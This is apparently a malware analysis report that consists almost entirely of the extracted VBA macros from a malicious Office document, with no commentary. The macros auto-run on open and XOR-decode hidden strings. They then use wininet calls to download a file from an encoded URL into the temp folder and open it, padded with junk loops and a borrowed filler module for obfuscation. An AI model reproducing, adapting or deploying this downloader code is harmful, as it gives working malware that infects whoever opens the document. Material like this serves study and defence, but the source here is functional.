Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
HAZ82771
End Sub

Attribute VB_Name = "Module4"
'*3
Public Const HAZ82774 = "29383F347962621B18121C067A73627A747B637C191B055F56222F637A766D28354C"
'*4
Public Const HAZ82773 = "122F392D333924474F04745E27241F3237372820664A4057543F"
'*5
Public Const HAZ82772 = "KALKDCMM)(*27"

Sub HAZ82771()
HONOOROA
End Sub








Attribute VB_Name = "Module11"
'* 1
Public Const HAZ82776 = "12242E282F630C5958465B542A3525242A"

'*2
Public Const HAZ82775 = "1D3F222F3324291B06181C0F6524342E"

Attribute VB_Name = "Module1"
' (File name: AddNewSheet.bas)
' Author: SENOO, Ken
' LICENSE: CC0
' (Last update: 2015-03-10T18:38+09:00)

Sub AddNewSheet(sheet_name)

' csss
For Each ws In Worksheets
  If ws.Name = sheet_name Then
    Application.DisplayAlerts = False
    ws.Delete
    Application.DisplayAlerts = True
  End If
Next ws

' cscc
Sheets.Add(After:=ActiveSheet).Name = sheet_name

End Sub

Attribute VB_Name = "UFO"
Attribute VB_Base = "0{B38DC10C-7705-48DF-B89A-A48AE8E47EB0}{E5DDB61F-038E-4219-9BB8-7A0DACA6665F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module3"
Option Explicit


Private Const KAIIOOOO872 = 8162
Private Const KAIIOOOO871 As String = "KAIIOOOO871"
Private Const KAIIOOOO999 = 1
Private Const cCCc = &H4000000
Public Function SOLOMKA110(ByVal sURL As String, ByVal sFileName As String) As Boolean
    #If VBA7 And Win64 Then
        Dim HCDNNNDCNNDC2 As LongPtr, KAIIOOOO873 As LongPtr
    #Else
        Dim HCDNNNDCNNDC2 As Long, KAIIOOOO873 As Long
    #End If
    Dim CDSFDFD As Long
    Dim HCDNNNDCNNDC As String * KAIIOOOO872, KAIIOOOO874 As String
    Dim VVzzVz As Integer, dData As Double
    HCDNNNDCNNDC2 = SOLOMKA110222(KAIIOOOO871, KAIIOOOO999, vbNullString, vbNullString, 0)
    If HCDNNNDCNNDC2 = 0 Then
        Exit Function
    End If
    KAIIOOOO873 = SOLOMKA1102(HCDNNNDCNNDC2, sURL, vbNullString, 0, cCCc, 0)
    If KAIIOOOO873 = 0 Then
        dData = 0
    Else
        KOOOODAAAAA1 KAIIOOOO873, HCDNNNDCNNDC, KAIIOOOO872, CDSFDFD
        KAIIOOOO874 = HCDNNNDCNNDC
        Do While CDSFDFD <> 0
            KOOOODAAAAA1 KAIIOOOO873, HCDNNNDCNNDC, KAIIOOOO872, CDSFDFD
            
            Dim HhhhhHHuuU73772 As Integer
For HhhhhHHuuU73772 = 0 To 0
If HhhhhHHuuU73772 = 5 Then End
Next HhhhhHHuuU73772
            
            KAIIOOOO874 = KAIIOOOO874 + Mid(HCDNNNDCNNDC, 1, CDSFDFD)
        Loop
        dData = Len(KAIIOOOO874): VVzzVz = FreeFile
        Open sFileName For Binary Access Write Lock Write As #VVzzVz
        Put #VVzzVz, , KAIIOOOO874: Close #VVzzVz
    End If
    SOLOMKA1102222 KAIIOOOO873
    SOLOMKA1102222 HCDNNNDCNNDC2
    KAIIOOOO874 = ""
    If dData Then
        SOLOMKA110 = True
    End If
End Function

Attribute VB_Name = "Module2"

#If VBA7 And Win64 Then
Public Declare PtrSafe Function SOLOMKA1102222 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As LongPtr) As Long
Public Declare PtrSafe Function SOLOMKA110222 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPtr
Public Declare PtrSafe Function KOOOODAAAAA1 Lib "wininet.dll" Alias "InternetReadFile" (ByVal cCCc3333 As LongPtr, ByVal HCDNNNDCNNDC As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Public Declare PtrSafe Function SOLOMKA1102 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As LongPtr, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As LongPtr
#Else
Public Declare Function SOLOMKA1102222 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As Long) As Long
Public Declare Function SOLOMKA110222 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Public Declare Function KOOOODAAAAA1 Lib "wininet.dll" Alias "InternetReadFile" (ByVal cCCc3333 As Long, ByVal HCDNNNDCNNDC As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Public Declare Function SOLOMKA1102 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
#End If



Attribute VB_Name = "Module5"


Sub _
HONOOROA()
'* cASCAccaCACA
Dim _
HAZ82769
Dim SiCoUnT As Integer

Dim VgdgHH333jKKkllKAHNXNHHGDG87293 As Long
For VgdgHH333jKKkllKAHNXNHHGDG87293 = 17 To 20
SiCoUnT = VgdgHH333jKKkllKAHNXNHHGDG87293 + 1
Next VgdgHH333jKKkllKAHNXNHHGDG87293

Set HAZ82769 = CreateObject _
(STOP7777777777 _
(HAZ82772, HAZ82773))
Dim HAZ82768
Const HAZ82768ID = 2
Dim JHAIICENAU019 As Integer
For JHAIICENAU019 = 0 To 0
If JHAIICENAU019 = 5 Then End
Next JHAIICENAU019
Set HAZ82768 = HAZ82769.GetSpecialFolder _
(HAZ82768ID)
Dim chdhai93 As Integer
For chdhai93 = 0 To 0
If chdhai93 = 5 Then End
Next chdhai93
HAZ82767 = HAZ82768 & STOP7777777777 _
(HAZ82772, HAZ82775)
Dim hiaopen847 As Integer
For hiaopen847 = 0 To 0
If hiaopen847 = 5 Then End
Next hiaopen847
Set HAZ82769 = CreateObject _
(STOP7777777777 _
(HAZ82772, HAZ82773))
Dim BnBnHgs346 As Integer
For BnBnHgs346 = 0 To 0
If BnBnHgs346 = 5 Then End
Next BnBnHgs346
If HAZ82769.FileExists _
(HAZ82767) Then
HAZ82769. _
DeleteFile HAZ82767
End If
If SOLOMKA110(STOP7777777777 _
(HAZ82772, HAZ82774), HAZ82767) Then
End If
Set SSSS = Nothing
If HAZ82769. _
FileExists _
(HAZ82767) Then
End If
Set SASASA = CreateObject _
(STOP7777777777 _
(HAZ82772, HAZ82776))
SASASA.Open HAZ82767
End Sub

Attribute VB_Name = "Module6"
Option Explicit

Public Function STOP7777777777(STOP777777777 As String, STOP77777777 As String) As String
    Dim asasas1 As Long
    Dim asasas1O As String
    Dim asasas10 As Integer
    Dim asasas101 As Integer
    For asasas1 = 1 To (Len(STOP77777777) / 2)
        asasas10 = Val("&H" & (Mid$(STOP77777777, (2 * asasas1) - 1, 2)))
        asasas101 = Asc(Mid$(STOP777777777, ((asasas1 Mod Len(STOP777777777)) + 1), 1))
        asasas1O = asasas1O + Chr(asasas10 Xor asasas101)
    Next asasas1
   STOP7777777777 = asasas1O
End Function